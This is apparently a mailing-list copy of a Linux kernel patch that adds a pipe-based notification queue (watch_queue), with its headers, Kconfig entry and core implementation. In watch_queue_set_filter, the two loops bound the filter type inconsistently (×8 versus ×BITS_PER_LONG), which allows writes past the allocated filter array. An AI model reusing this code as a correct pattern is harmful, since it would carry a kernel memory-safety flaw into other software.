@@ -1766,8 +1766,8 @@ static int link_pipe(struct pipe_inode_info *ipipe,
static long do_tee(struct file *in, struct file *out, size_t len,
unsigned int flags)
{
- struct pipe_inode_info *ipipe = get_pipe_info(in);
- struct pipe_inode_info *opipe = get_pipe_info(out);
+ struct pipe_inode_info *ipipe = get_pipe_info(in, true);
+ struct pipe_inode_info *opipe = get_pipe_info(out, true);
int ret = -EINVAL;
/*
diff --git a/include/linux/pipe_fs_i.h b/include/linux/pipe_fs_i.h
index ae58fad7f1e0..1d3eaa233f4a 100644
--- a/include/linux/pipe_fs_i.h
+++ b/include/linux/pipe_fs_i.h
@@ -35,6 +35,7 @@ struct pipe_buffer {
* @tail: The point of buffer consumption
* @max_usage: The maximum number of slots that may be used in the ring
* @ring_size: total number of buffers (should be a power of 2)
+ * @nr_accounted: The amount this pipe accounts for in user->pipe_bufs
* @tmp_page: cached released page
* @readers: number of current readers of this pipe
* @writers: number of current writers of this pipe
@@ -45,6 +46,7 @@ struct pipe_buffer {
* @fasync_writers: writer side fasync
* @bufs: the circular array of pipe buffers
* @user: the user who created this pipe
+ * @watch_queue: If this pipe is a watch_queue, this is the stuff for that
**/
struct pipe_inode_info {
struct mutex mutex;
@@ -53,6 +55,7 @@ struct pipe_inode_info {
unsigned int tail;
unsigned int max_usage;
unsigned int ring_size;
+ unsigned int nr_accounted;
unsigned int readers;
unsigned int writers;
unsigned int files;
@@ -63,6 +66,9 @@ struct pipe_inode_info {
struct fasync_struct *fasync_writers;
struct pipe_buffer *bufs;
struct user_struct *user;
+#ifdef CONFIG_WATCH_QUEUE
+ struct watch_queue *watch_queue;
+#endif
};
/*
@@ -237,9 +243,20 @@ void pipe_buf_mark_unmergeable(struct pipe_buffer *buf);
extern const struct pipe_buf_operations nosteal_pipe_buf_ops;
+#ifdef CONFIG_WATCH_QUEUE
+unsigned long account_pipe_buffers(struct user_struct *user,
+ unsigned long old, unsigned long new);
+bool too_many_pipe_buffers_soft(unsigned long user_bufs);
+bool too_many_pipe_buffers_hard(unsigned long user_bufs);
+bool pipe_is_unprivileged_user(void);
+#endif
+
/* for F_SETPIPE_SZ and F_GETPIPE_SZ */
+#ifdef CONFIG_WATCH_QUEUE
+int pipe_resize_ring(struct pipe_inode_info *pipe, unsigned int nr_slots);
+#endif
long pipe_fcntl(struct file *, unsigned int, unsigned long arg);
-struct pipe_inode_info *get_pipe_info(struct file *file);
+struct pipe_inode_info *get_pipe_info(struct file *file, bool for_splice);
int create_pipe_files(struct file **, int);
unsigned int round_pipe_size(unsigned long size);
diff --git a/include/linux/watch_queue.h b/include/linux/watch_queue.h
new file mode 100644
index 000000000000..5e08db2adc31
--- /dev/null
+++ b/include/linux/watch_queue.h
@@ -0,0 +1,127 @@
+// SPDX-License-Identifier: GPL-2.0
+/* User-mappable watch queue
+ *
+ * Copyright (C) 2020 Red Hat, Inc. All Rights Reserved.
+ * Written by David Howells (dhowells at redhat.com)
+ *
+ * See Documentation/watch_queue.rst
+ */
+
+#ifndef _LINUX_WATCH_QUEUE_H
+#define _LINUX_WATCH_QUEUE_H
+
+#include <uapi/linux/watch_queue.h>
+#include <linux/kref.h>
+#include <linux/rcupdate.h>
+
+#ifdef CONFIG_WATCH_QUEUE
+
+struct cred;
+
+struct watch_type_filter {
+ enum watch_notification_type type;
+ __u32 subtype_filter[1]; /* Bitmask of subtypes to filter on */
+ __u32 info_filter; /* Filter on watch_notification::info */
+ __u32 info_mask; /* Mask of relevant bits in info_filter */
+};
+
+struct watch_filter {
+ union {
+ struct rcu_head rcu;
+ unsigned long type_filter[2]; /* Bitmask of accepted types */
+ };
+ u32 nr_filters; /* Number of filters */
+ struct watch_type_filter filters[];
+};
+
+struct watch_queue {
+ struct rcu_head rcu;
+ struct watch_filter __rcu *filter;
+ struct pipe_inode_info *pipe; /* The pipe we're using as a buffer */
+ struct hlist_head watches; /* Contributory watches */
+ struct page **notes; /* Preallocated notifications */
+ unsigned long *notes_bitmap; /* Allocation bitmap for notes */
+ struct kref usage; /* Object usage count */
+ spinlock_t lock;
+ unsigned int nr_notes; /* Number of notes */
+ unsigned int nr_pages; /* Number of pages in notes[] */
+ bool defunct; /* T when queues closed */
+};
+
+/*
+ * Representation of a watch on an object.
+ */
+struct watch {
+ union {
+ struct rcu_head rcu;
+ u32 info_id; /* ID to be OR'd in to info field */
+ };
+ struct watch_queue __rcu *queue; /* Queue to post events to */
+ struct hlist_node queue_node; /* Link in queue->watches */
+ struct watch_list __rcu *watch_list;
+ struct hlist_node list_node; /* Link in watch_list->watchers */
+ const struct cred *cred; /* Creds of the owner of the watch */
+ void *private; /* Private data for the watched object */
+ u64 id; /* Internal identifier */
+ struct kref usage; /* Object usage count */
+};
+
+/*
+ * List of watches on an object.
+ */
+struct watch_list {
+ struct rcu_head rcu;
+ struct hlist_head watchers;
+ void (*release_watch)(struct watch *);
+ spinlock_t lock;
+};
+
+extern void __post_watch_notification(struct watch_list *,
+ struct watch_notification *,
+ const struct cred *,
+ u64);
+extern struct watch_queue *get_watch_queue(int);
+extern void put_watch_queue(struct watch_queue *);
+extern void init_watch(struct watch *, struct watch_queue *);
+extern int add_watch_to_object(struct watch *, struct watch_list *);
+extern int remove_watch_from_object(struct watch_list *, struct watch_queue *, u64, bool);
+extern long watch_queue_set_size(struct pipe_inode_info *, unsigned int);
+extern long watch_queue_set_filter(struct pipe_inode_info *,
+ struct watch_notification_filter __user *);
+extern int watch_queue_init(struct pipe_inode_info *);
+extern void watch_queue_clear(struct watch_queue *);
+
+static inline void init_watch_list(struct watch_list *wlist,
+ void (*release_watch)(struct watch *))
+{
+ INIT_HLIST_HEAD(&wlist->watchers);
+ spin_lock_init(&wlist->lock);
+ wlist->release_watch = release_watch;
+}
+
+static inline void post_watch_notification(struct watch_list *wlist,
+ struct watch_notification *n,
+ const struct cred *cred,
+ u64 id)
+{
+ if (unlikely(wlist))
+ __post_watch_notification(wlist, n, cred, id);
+}
+
+static inline void remove_watch_list(struct watch_list *wlist, u64 id)
+{
+ if (wlist) {
+ remove_watch_from_object(wlist, NULL, id, true);
+ kfree_rcu(wlist, rcu);
+ }
+}
+
+/**
+ * watch_sizeof - Calculate the information part of the size of a watch record,
+ * given the structure size.
+ */
+#define watch_sizeof(STRUCT) (sizeof(STRUCT) << WATCH_INFO_LENGTH__SHIFT)
+
+#endif
+
+#endif /* _LINUX_WATCH_QUEUE_H */
diff --git a/include/uapi/linux/watch_queue.h b/include/uapi/linux/watch_queue.h
index 9df72227f515..3a5790f1f05d 100644
--- a/include/uapi/linux/watch_queue.h
+++ b/include/uapi/linux/watch_queue.h
@@ -4,9 +4,13 @@
#include <linux/types.h>
#include <linux/fcntl.h>
+#include <linux/ioctl.h>
#define O_NOTIFICATION_PIPE O_EXCL /* Parameter to pipe2() selecting notification pipe */
+#define IOC_WATCH_QUEUE_SET_SIZE _IO('W', 0x60) /* Set the size in pages */
+#define IOC_WATCH_QUEUE_SET_FILTER _IO('W', 0x61) /* Set the filter */
+
enum watch_notification_type {
WATCH_TYPE_META = 0, /* Special record */
WATCH_TYPE__NR = 1
@@ -41,6 +45,22 @@ struct watch_notification {
#define WATCH_INFO_FLAG_7 0x00800000
};
+/*
+ * Notification filtering rules (IOC_WATCH_QUEUE_SET_FILTER).
+ */
+struct watch_notification_type_filter {
+ __u32 type; /* Type to apply filter to */
+ __u32 info_filter; /* Filter on watch_notification::info */
+ __u32 info_mask; /* Mask of relevant bits in info_filter */
+ __u32 subtype_filter[8]; /* Bitmask of subtypes to filter on */
+};
+
+struct watch_notification_filter {
+ __u32 nr_filters; /* Number of filters */
+ __u32 __reserved; /* Must be 0 */
+ struct watch_notification_type_filter filters[];
+};
+
/*
* Extended watch removal notification. This is used optionally if the type
diff --git a/init/Kconfig b/init/Kconfig
index 452bc1835cd4..5432803d8efc 100644
--- a/init/Kconfig
+++ b/init/Kconfig
@@ -339,6 +339,18 @@ config POSIX_MQUEUE_SYSCTL
depends on SYSCTL
default y
+config WATCH_QUEUE
+ bool "General notification queue"
+ default n
+ help
+
+ This is a general notification queue for the kernel to pass events to
+ userspace by splicing them into pipes. It can be used in conjunction
+ with watches for key/keyring change notifications and device
+ notifications.
+
+ See Documentation/watch_queue.rst
+
config CROSS_MEMORY_ATTACH
bool "Enable process_vm_readv/writev syscalls"
depends on MMU
diff --git a/kernel/Makefile b/kernel/Makefile
index 4cb4130ced32..41e7e3ae07ec 100644
--- a/kernel/Makefile
+++ b/kernel/Makefile
@@ -115,6 +115,7 @@ obj-$(CONFIG_TORTURE_TEST) += torture.o
obj-$(CONFIG_HAS_IOMEM) += iomem.o
obj-$(CONFIG_RSEQ) += rseq.o
+obj-$(CONFIG_WATCH_QUEUE) += watch_queue.o
obj-$(CONFIG_SYSCTL_KUNIT_TEST) += sysctl-test.o
diff --git a/kernel/watch_queue.c b/kernel/watch_queue.c
new file mode 100644
index 000000000000..c103e34f8705
--- /dev/null
+++ b/kernel/watch_queue.c
@@ -0,0 +1,657 @@
+// SPDX-License-Identifier: GPL-2.0
+/* Watch queue and general notification mechanism, built on pipes
+ *
+ * Copyright (C) 2020 Red Hat, Inc. All Rights Reserved.
+ * Written by David Howells (dhowells at redhat.com)
+ *
+ * See Documentation/watch_queue.rst
+ */
+
+#define pr_fmt(fmt) "watchq: " fmt
+#include <linux/module.h>
+#include <linux/init.h>
+#include <linux/sched.h>
+#include <linux/slab.h>
+#include <linux/printk.h>
+#include <linux/miscdevice.h>
+#include <linux/fs.h>
+#include <linux/mm.h>
+#include <linux/pagemap.h>
+#include <linux/poll.h>
+#include <linux/uaccess.h>
+#include <linux/vmalloc.h>
+#include <linux/file.h>
+#include <linux/security.h>
+#include <linux/cred.h>
+#include <linux/sched/signal.h>
+#include <linux/watch_queue.h>
+#include <linux/pipe_fs_i.h>
+
+MODULE_DESCRIPTION("Watch queue");
+MODULE_AUTHOR("Red Hat, Inc.");
+MODULE_LICENSE("GPL");
+
+#define WATCH_QUEUE_NOTE_SIZE 128
+#define WATCH_QUEUE_NOTES_PER_PAGE (PAGE_SIZE / WATCH_QUEUE_NOTE_SIZE)
+
+static void watch_queue_pipe_buf_release(struct pipe_inode_info *pipe,
+ struct pipe_buffer *buf)
+{
+ struct watch_queue *wqueue = (struct watch_queue *)buf->private;
+ struct page *page;
+ unsigned int bit;
+
+ /* We need to work out which note within the page this refers to, but
+ * the note might have been maximum size, so merely ANDing the offset
+ * off doesn't work. OTOH, the note must've been more than zero size.
+ */
+ bit = buf->offset + buf->len;
+ if ((bit & (WATCH_QUEUE_NOTE_SIZE - 1)) == 0)
+ bit -= WATCH_QUEUE_NOTE_SIZE;
+ bit /= WATCH_QUEUE_NOTE_SIZE;
+
+ page = buf->page;
+ bit += page->index;
+
+ set_bit(bit, wqueue->notes_bitmap);
+}
+
+static int watch_queue_pipe_buf_steal(struct pipe_inode_info *pipe,
+ struct pipe_buffer *buf)
+{
+ return -1; /* No. */
+}
+
+/* New data written to a pipe may be appended to a buffer with this type. */
+static const struct pipe_buf_operations watch_queue_pipe_buf_ops = {
+ .confirm = generic_pipe_buf_confirm,
+ .release = watch_queue_pipe_buf_release,
+ .steal = watch_queue_pipe_buf_steal,
+ .get = generic_pipe_buf_get,
+};
+
+/*
+ * Post a notification to a watch queue.
+ */
+static bool post_one_notification(struct watch_queue *wqueue,
+ struct watch_notification *n)
+{
+ void *p;
+ struct pipe_inode_info *pipe = wqueue->pipe;
+ struct pipe_buffer *buf;
+ struct page *page;
+ unsigned int head, tail, mask, note, offset, len;
+ bool done = false;
+
+ if (!pipe)
+ return false;
+
+ spin_lock_irq(&pipe->rd_wait.lock);
+
+ if (wqueue->defunct)
+ goto out;
+
+ mask = pipe->ring_size - 1;
+ head = pipe->head;
+ tail = pipe->tail;
+ if (pipe_full(head, tail, pipe->ring_size))
+ goto lost;
+
+ note = find_first_bit(wqueue->notes_bitmap, wqueue->nr_notes);
+ if (note >= wqueue->nr_notes)
+ goto lost;
+
+ page = wqueue->notes[note / WATCH_QUEUE_NOTES_PER_PAGE];
+ offset = note % WATCH_QUEUE_NOTES_PER_PAGE * WATCH_QUEUE_NOTE_SIZE;
+ get_page(page);
+ len = n->info & WATCH_INFO_LENGTH;
+ p = kmap_atomic(page);
+ memcpy(p + offset, n, len);
+ kunmap_atomic(p);
+
+ buf = &pipe->bufs[head & mask];
+ buf->page = page;
+ buf->private = (unsigned long)wqueue;
+ buf->ops = &watch_queue_pipe_buf_ops;
+ buf->offset = offset;
+ buf->len = len;
+ buf->flags = 0;
+ pipe->head = head + 1;
+
+ if (!test_and_clear_bit(note, wqueue->notes_bitmap)) {
+ spin_unlock_irq(&pipe->rd_wait.lock);
+ BUG();
+ }
+ wake_up_interruptible_sync_poll_locked(&pipe->rd_wait, EPOLLIN | EPOLLRDNORM);
+ done = true;
+
+out:
+ spin_unlock_irq(&pipe->rd_wait.lock);
+ if (done)
+ kill_fasync(&pipe->fasync_readers, SIGIO, POLL_IN);
+ return done;
+
+lost:
+ goto out;
+}
+
+/*
+ * Apply filter rules to a notification.
+ */
+static bool filter_watch_notification(const struct watch_filter *wf,
+ const struct watch_notification *n)
+{
+ const struct watch_type_filter *wt;
+ unsigned int st_bits = sizeof(wt->subtype_filter[0]) * 8;
+ unsigned int st_index = n->subtype / st_bits;
+ unsigned int st_bit = 1U << (n->subtype % st_bits);
+ int i;
+
+ if (!test_bit(n->type, wf->type_filter))
+ return false;
+
+ for (i = 0; i < wf->nr_filters; i++) {
+ wt = &wf->filters[i];
+ if (n->type == wt->type &&
+ (wt->subtype_filter[st_index] & st_bit) &&
+ (n->info & wt->info_mask) == wt->info_filter)
+ return true;
+ }
+
+ return false; /* If there is a filter, the default is to reject. */
+}
+
+/**
+ * __post_watch_notification - Post an event notification
+ * @wlist: The watch list to post the event to.
+ * @n: The notification record to post.
+ * @cred: The creds of the process that triggered the notification.
+ * @id: The ID to match on the watch.
+ *
+ * Post a notification of an event into a set of watch queues and let the users
+ * know.
+ *
+ * The size of the notification should be set in n->info & WATCH_INFO_LENGTH and
+ * should be in units of sizeof(*n).
+ */
+void __post_watch_notification(struct watch_list *wlist,
+ struct watch_notification *n,
+ const struct cred *cred,
+ u64 id)
+{
+ const struct watch_filter *wf;
+ struct watch_queue *wqueue;
+ struct watch *watch;
+
+ if (((n->info & WATCH_INFO_LENGTH) >> WATCH_INFO_LENGTH__SHIFT) == 0) {
+ WARN_ON(1);
+ return;
+ }
+
+ rcu_read_lock();
+
+ hlist_for_each_entry_rcu(watch, &wlist->watchers, list_node) {
+ if (watch->id != id)
+ continue;
+ n->info &= ~WATCH_INFO_ID;
+ n->info |= watch->info_id;
+
+ wqueue = rcu_dereference(watch->queue);
+ wf = rcu_dereference(wqueue->filter);
+ if (wf && !filter_watch_notification(wf, n))
+ continue;
+
+ if (security_post_notification(watch->cred, cred, n) < 0)
+ continue;
+
+ post_one_notification(wqueue, n);
+ }
+
+ rcu_read_unlock();
+}
+EXPORT_SYMBOL(__post_watch_notification);
+
+/*
+ * Allocate sufficient pages to preallocation for the requested number of
+ * notifications.
+ */
+long watch_queue_set_size(struct pipe_inode_info *pipe, unsigned int nr_notes)
+{
+ struct watch_queue *wqueue = pipe->watch_queue;
+ struct page **pages;
+ unsigned long *bitmap;
+ unsigned long user_bufs;
+ unsigned int bmsize;
+ int ret, i, nr_pages;
+
+ if (!wqueue)
+ return -ENODEV;
+ if (wqueue->notes)
+ return -EBUSY;
+
+ if (nr_notes < 1 ||
+ nr_notes > 512) /* TODO: choose a better hard limit */
+ return -EINVAL;
+
+ nr_pages = (nr_notes + WATCH_QUEUE_NOTES_PER_PAGE - 1);
+ nr_pages /= WATCH_QUEUE_NOTES_PER_PAGE;
+ user_bufs = account_pipe_buffers(pipe->user, pipe->nr_accounted, nr_pages);
+
+ if (nr_pages > pipe->max_usage &&
+ (too_many_pipe_buffers_hard(user_bufs) ||
+ too_many_pipe_buffers_soft(user_bufs)) &&
+ pipe_is_unprivileged_user()) {
+ ret = -EPERM;
+ goto error;
+ }
+
+ ret = pipe_resize_ring(pipe, nr_notes);
+ if (ret < 0)
+ goto error;
+
+ pages = kcalloc(sizeof(struct page *), nr_pages, GFP_KERNEL);
+ if (!pages)
+ goto error;
+
+ for (i = 0; i < nr_pages; i++) {
+ pages[i] = alloc_page(GFP_KERNEL);
+ if (!pages[i])
+ goto error_p;
+ pages[i]->index = i * WATCH_QUEUE_NOTES_PER_PAGE;
+ }
+
+ bmsize = (nr_notes + BITS_PER_LONG - 1) / BITS_PER_LONG;
+ bmsize *= sizeof(unsigned long);
+ bitmap = kmalloc(bmsize, GFP_KERNEL);
+ if (!bitmap)
+ goto error_p;
+
+ memset(bitmap, 0xff, bmsize);
+ wqueue->notes = pages;
+ wqueue->notes_bitmap = bitmap;
+ wqueue->nr_pages = nr_pages;
+ wqueue->nr_notes = nr_pages * WATCH_QUEUE_NOTES_PER_PAGE;
+ return 0;
+
+error_p:
+ for (i = 0; i < nr_pages; i++)
+ __free_page(pages[i]);
+ kfree(pages);
+error:
+ (void) account_pipe_buffers(pipe->user, nr_pages, pipe->nr_accounted);
+ return ret;
+}
+
+/*
+ * Set the filter on a watch queue.
+ */
+long watch_queue_set_filter(struct pipe_inode_info *pipe,
+ struct watch_notification_filter __user *_filter)
+{
+ struct watch_notification_type_filter *tf;
+ struct watch_notification_filter filter;
+ struct watch_type_filter *q;
+ struct watch_filter *wfilter;
+ struct watch_queue *wqueue = pipe->watch_queue;
+ int ret, nr_filter = 0, i;
+
+ if (!wqueue)
+ return -ENODEV;
+
+ if (!_filter) {
+ /* Remove the old filter */
+ wfilter = NULL;
+ goto set;
+ }
+
+ /* Grab the user's filter specification */
+ if (copy_from_user(&filter, _filter, sizeof(filter)) != 0)
+ return -EFAULT;
+ if (filter.nr_filters == 0 ||
+ filter.nr_filters > 16 ||
+ filter.__reserved != 0)
+ return -EINVAL;
+
+ tf = memdup_user(_filter->filters, filter.nr_filters * sizeof(*tf));
+ if (IS_ERR(tf))
+ return PTR_ERR(tf);
+
+ ret = -EINVAL;
+ for (i = 0; i < filter.nr_filters; i++) {
+ if ((tf[i].info_filter & ~tf[i].info_mask) ||
+ tf[i].info_mask & WATCH_INFO_LENGTH)
+ goto err_filter;
+ /* Ignore any unknown types */
+ if (tf[i].type >= sizeof(wfilter->type_filter) * 8)
+ continue;
+ nr_filter++;
+ }
+
+ /* Now we need to build the internal filter from only the relevant
+ * user-specified filters.
+ */
+ ret = -ENOMEM;
+ wfilter = kzalloc(struct_size(wfilter, filters, nr_filter), GFP_KERNEL);
+ if (!wfilter)
+ goto err_filter;
+ wfilter->nr_filters = nr_filter;
+
+ q = wfilter->filters;
+ for (i = 0; i < filter.nr_filters; i++) {
+ if (tf[i].type >= sizeof(wfilter->type_filter) * BITS_PER_LONG)
+ continue;
+
+ q->type = tf[i].type;
+ q->info_filter = tf[i].info_filter;
+ q->info_mask = tf[i].info_mask;
+ q->subtype_filter[0] = tf[i].subtype_filter[0];
+ __set_bit(q->type, wfilter->type_filter);
+ q++;
+ }
+
+ kfree(tf);
+set:
+ pipe_lock(pipe);
+ wfilter = rcu_replace_pointer(wqueue->filter, wfilter,
+ lockdep_is_held(&pipe->mutex));
+ pipe_unlock(pipe);
+ if (wfilter)
+ kfree_rcu(wfilter, rcu);
+ return 0;
+
+err_filter:
+ kfree(tf);
+ return ret;
+}
+
+static void __put_watch_queue(struct kref *kref)
+{
+ struct watch_queue *wqueue =
+ container_of(kref, struct watch_queue, usage);
+ struct watch_filter *wfilter;
+ int i;
+
+ for (i = 0; i < wqueue->nr_pages; i++)
+ __free_page(wqueue->notes[i]);
+
+ wfilter = rcu_access_pointer(wqueue->filter);
+ if (wfilter)
+ kfree_rcu(wfilter, rcu);
+ kfree_rcu(wqueue, rcu);
+}
+
+/**
+ * put_watch_queue - Dispose of a ref on a watchqueue.
+ * @wqueue: The watch queue to unref.
+ */
+void put_watch_queue(struct watch_queue *wqueue)
+{
+ kref_put(&wqueue->usage, __put_watch_queue);
+}
+EXPORT_SYMBOL(put_watch_queue);
+
+static void free_watch(struct rcu_head *rcu)
+{
+ struct watch *watch = container_of(rcu, struct watch, rcu);
+
+ put_watch_queue(rcu_access_pointer(watch->queue));
+ put_cred(watch->cred);
+}
+
+static void __put_watch(struct kref *kref)
+{
+ struct watch *watch = container_of(kref, struct watch, usage);
+
+ call_rcu(&watch->rcu, free_watch);
+}
+
+/*
+ * Discard a watch.
+ */
+static void put_watch(struct watch *watch)
+{
+ kref_put(&watch->usage, __put_watch);
+}
+
+/**
+ * init_watch_queue - Initialise a watch
+ * @watch: The watch to initialise.
+ * @wqueue: The queue to assign.
+ *
+ * Initialise a watch and set the watch queue.
+ */
+void init_watch(struct watch *watch, struct watch_queue *wqueue)
+{
+ kref_init(&watch->usage);
+ INIT_HLIST_NODE(&watch->list_node);
+ INIT_HLIST_NODE(&watch->queue_node);
+ rcu_assign_pointer(watch->queue, wqueue);
+}
+
+/**
+ * add_watch_to_object - Add a watch on an object to a watch list
+ * @watch: The watch to add
+ * @wlist: The watch list to add to
+ *
+ * @watch->queue must have been set to point to the queue to post notifications
+ * to and the watch list of the object to be watched. @watch->cred must also
+ * have been set to the appropriate credentials and a ref taken on them.
+ *
+ * The caller must pin the queue and the list both and must hold the list
+ * locked against racing watch additions/removals.
+ */
+int add_watch_to_object(struct watch *watch, struct watch_list *wlist)
+{
+ struct watch_queue *wqueue = rcu_access_pointer(watch->queue);
+ struct watch *w;
+
+ hlist_for_each_entry(w, &wlist->watchers, list_node) {
+ struct watch_queue *wq = rcu_access_pointer(w->queue);
+ if (wqueue == wq && watch->id == w->id)
+ return -EBUSY;
+ }
+
+ watch->cred = get_current_cred();
+ rcu_assign_pointer(watch->watch_list, wlist);
+
+ spin_lock_bh(&wqueue->lock);
+ kref_get(&wqueue->usage);
+ kref_get(&watch->usage);
+ hlist_add_head(&watch->queue_node, &wqueue->watches);
+ spin_unlock_bh(&wqueue->lock);
+
+ hlist_add_head(&watch->list_node, &wlist->watchers);
+ return 0;
+}
+EXPORT_SYMBOL(add_watch_to_object);
+
+/**
+ * remove_watch_from_object - Remove a watch or all watches from an object.
+ * @wlist: The watch list to remove from
+ * @wq: The watch queue of interest (ignored if @all is true)
+ * @id: The ID of the watch to remove (ignored if @all is true)
+ * @all: True to remove all objects
+ *
+ * Remove a specific watch or all watches from an object. A notification is
+ * sent to the watcher to tell them that this happened.
+ */
+int remove_watch_from_object(struct watch_list *wlist, struct watch_queue *wq,
+ u64 id, bool all)
+{
+ struct watch_notification_removal n;
+ struct watch_queue *wqueue;
+ struct watch *watch;
+ int ret = -EBADSLT;
+
+ rcu_read_lock();
+
+again:
+ spin_lock(&wlist->lock);
+ hlist_for_each_entry(watch, &wlist->watchers, list_node) {
+ if (all ||
+ (watch->id == id && rcu_access_pointer(watch->queue) == wq))
+ goto found;
+ }
+ spin_unlock(&wlist->lock);
+ goto out;
+
+found:
+ ret = 0;
+ hlist_del_init_rcu(&watch->list_node);
+ rcu_assign_pointer(watch->watch_list, NULL);
+ spin_unlock(&wlist->lock);
+
+ /* We now own the reference on watch that used to belong to wlist. */
+
+ n.watch.type = WATCH_TYPE_META;
+ n.watch.subtype = WATCH_META_REMOVAL_NOTIFICATION;
+ n.watch.info = watch->info_id | watch_sizeof(n.watch);
+ n.id = id;
+ if (id != 0)
+ n.watch.info = watch->info_id | watch_sizeof(n);
+
+ wqueue = rcu_dereference(watch->queue);
+
+ /* We don't need the watch list lock for the next bit as RCU is
+ * protecting *wqueue from deallocation.
+ */
+ if (wqueue) {
+ post_one_notification(wqueue, &n.watch);
+
+ spin_lock_bh(&wqueue->lock);
+
+ if (!hlist_unhashed(&watch->queue_node)) {
+ hlist_del_init_rcu(&watch->queue_node);
+ put_watch(watch);
+ }
+
+ spin_unlock_bh(&wqueue->lock);
+ }
+
+ if (wlist->release_watch) {
+ void (*release_watch)(struct watch *);
+
+ release_watch = wlist->release_watch;
+ rcu_read_unlock();
+ (*release_watch)(watch);
+ rcu_read_lock();
+ }
+ put_watch(watch);
+
+ if (all && !hlist_empty(&wlist->watchers))
+ goto again;
+out:
+ rcu_read_unlock();
+ return ret;
+}
+EXPORT_SYMBOL(remove_watch_from_object);
+
+/*
+ * Remove all the watches that are contributory to a queue. This has the
+ * potential to race with removal of the watches by the destruction of the
+ * objects being watched or with the distribution of notifications.
+ */
+void watch_queue_clear(struct watch_queue *wqueue)
+{
+ struct watch_list *wlist;
+ struct watch *watch;
+ bool release;
+
+ rcu_read_lock();
+ spin_lock_bh(&wqueue->lock);
+
+ /* Prevent new additions and prevent notifications from happening */
+ wqueue->defunct = true;
+
+ while (!hlist_empty(&wqueue->watches)) {
+ watch = hlist_entry(wqueue->watches.first, struct watch, queue_node);
+ hlist_del_init_rcu(&watch->queue_node);
+ /* We now own a ref on the watch. */
+ spin_unlock_bh(&wqueue->lock);
+
+ /* We can't do the next bit under the queue lock as we need to
+ * get the list lock - which would cause a deadlock if someone
+ * was removing from the opposite direction at the same time or
+ * posting a notification.
+ */
+ wlist = rcu_dereference(watch->watch_list);
+ if (wlist) {
+ void (*release_watch)(struct watch *);
+
+ spin_lock(&wlist->lock);
+
+ release = !hlist_unhashed(&watch->list_node);
+ if (release) {
+ hlist_del_init_rcu(&watch->list_node);
+ rcu_assign_pointer(watch->watch_list, NULL);
+
+ /* We now own a second ref on the watch. */
+ }
+
+ release_watch = wlist->release_watch;
+ spin_unlock(&wlist->lock);
+
+ if (release) {
+ if (release_watch) {
+ rcu_read_unlock();
+ /* This might need to call dput(), so
+ * we have to drop all the locks.
+ */
+ (*release_watch)(watch);
+ rcu_read_lock();
+ }
+ put_watch(watch);
+ }
+ }
+
+ put_watch(watch);
+ spin_lock_bh(&wqueue->lock);
+ }
+
+ spin_unlock_bh(&wqueue->lock);
+ rcu_read_unlock();
+}
+
+/**
+ * get_watch_queue - Get a watch queue from its file descriptor.
+ * @fd: The fd to query.
+ */
+struct watch_queue *get_watch_queue(int fd)
+{
+ struct pipe_inode_info *pipe;
+ struct watch_queue *wqueue = ERR_PTR(-EINVAL);
+ struct fd f;
+
+ f = fdget(fd);
+ if (f.file) {
+ pipe = get_pipe_info(f.file, false);
+ if (pipe && pipe->watch_queue) {
+ wqueue = pipe->watch_queue;
+ kref_get(&wqueue->usage);
+ }
+ fdput(f);
+ }
+
+ return wqueue;
+}
+EXPORT_SYMBOL(get_watch_queue);
+
+/*
+ * Initialise a watch queue
+ */
+int watch_queue_init(struct pipe_inode_info *pipe)
+{
+ struct watch_queue *wqueue;
+
+ wqueue = kzalloc(sizeof(*wqueue), GFP_KERNEL);
+ if (!wqueue)
+ return -ENOMEM;
+
+ wqueue->pipe = pipe;
+ kref_init(&wqueue->usage);
+ spin_lock_init(&wqueue->lock);
+ INIT_HLIST_HEAD(&wqueue->watches);
+
+ pipe->watch_queue = wqueue;
+ return 0;
+}
More information about the Linux-security-module-archive mailing list | {
"url": "http://kernsec.org/pipermail/linux-security-module-archive/2020-March/019097.html",
"source_domain": "kernsec.org",
"snapshot_id": "crawl=CC-MAIN-2020-40",
"warc_metadata": {
"Content-Length": "58144",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:JJXAPZP6OCT3K6W6E2LVCVBUOVDZ4E3P",
"WARC-Concurrent-To": "<urn:uuid:45e9b58f-be5b-487e-afbd-a299504552ae>",
"WARC-Date": "2020-09-19T23:20:40Z",
"WARC-IP-Address": "65.99.196.159",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:NHYUBBT2N6ESTYOLGDJKZFWX2CY25VHL",
"WARC-Record-ID": "<urn:uuid:463d68f5-1f7f-452f-b573-cbc13fc0e9b5>",
"WARC-Target-URI": "http://kernsec.org/pipermail/linux-security-module-archive/2020-March/019097.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:3d9821a9-7ab7-4797-b7bd-d4a9d5bdffaf>"
},
"warc_info": "isPartOf: CC-MAIN-2020-40\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for September 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-226.ec2.internal\r\nsoftware: Apache Nutch 1.17 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
68,
69,
106,
135,
136,
137,
209,
281,
355,
427,
495,
550,
551,
594,
595,
666,
738,
762,
763,
797,
852,
853,
928,
998,
1069,
1132,
1133,
1203,
1234,
1235,
1280,
1281,
1310,
1327,
1346,
1360,
1364,
1365,
1439,
1512,
1582,
1658,
1724,
1725,
1796,
1866,
1935,
2000,
2001,
2055,
2059,
2060,
2120,
2190,
2256,
2316,
2377,
2441,
2502,
2562,
2622,
2702,
2757,
2807,
2855,
2896,
2897,
3014,
3054,
3111,
3168,
3266,
3356,
3436,
3481,
3515,
3595,
3641,
3679,
3754,
3775,
3808,
3822,
3858,
3876,
3908,
3940,
3972,
3974,
4054,
4135,
4197,
4199,
4230,
4232,
4234,
4280,
4282,
4329,
4352,
4354,
4397,
4399,
4422,
4424,
4426,
4436,
4446,
4448,
4527,
4608,
4689,
4764,
4838,
4849,
4851,
4928,
5008,
5089,
5139,
5141,
5214,
5268,
5270,
5349,
5427,
5508,
5565,
5567,
5642,
5715,
5795,
5863,
5865,
5867,
5886,
5905,
5907,
5958,
5960,
5990,
6008,
6028,
6043,
6048,
6050,
6130,
6211,
6289,
6353,
6355,
6392,
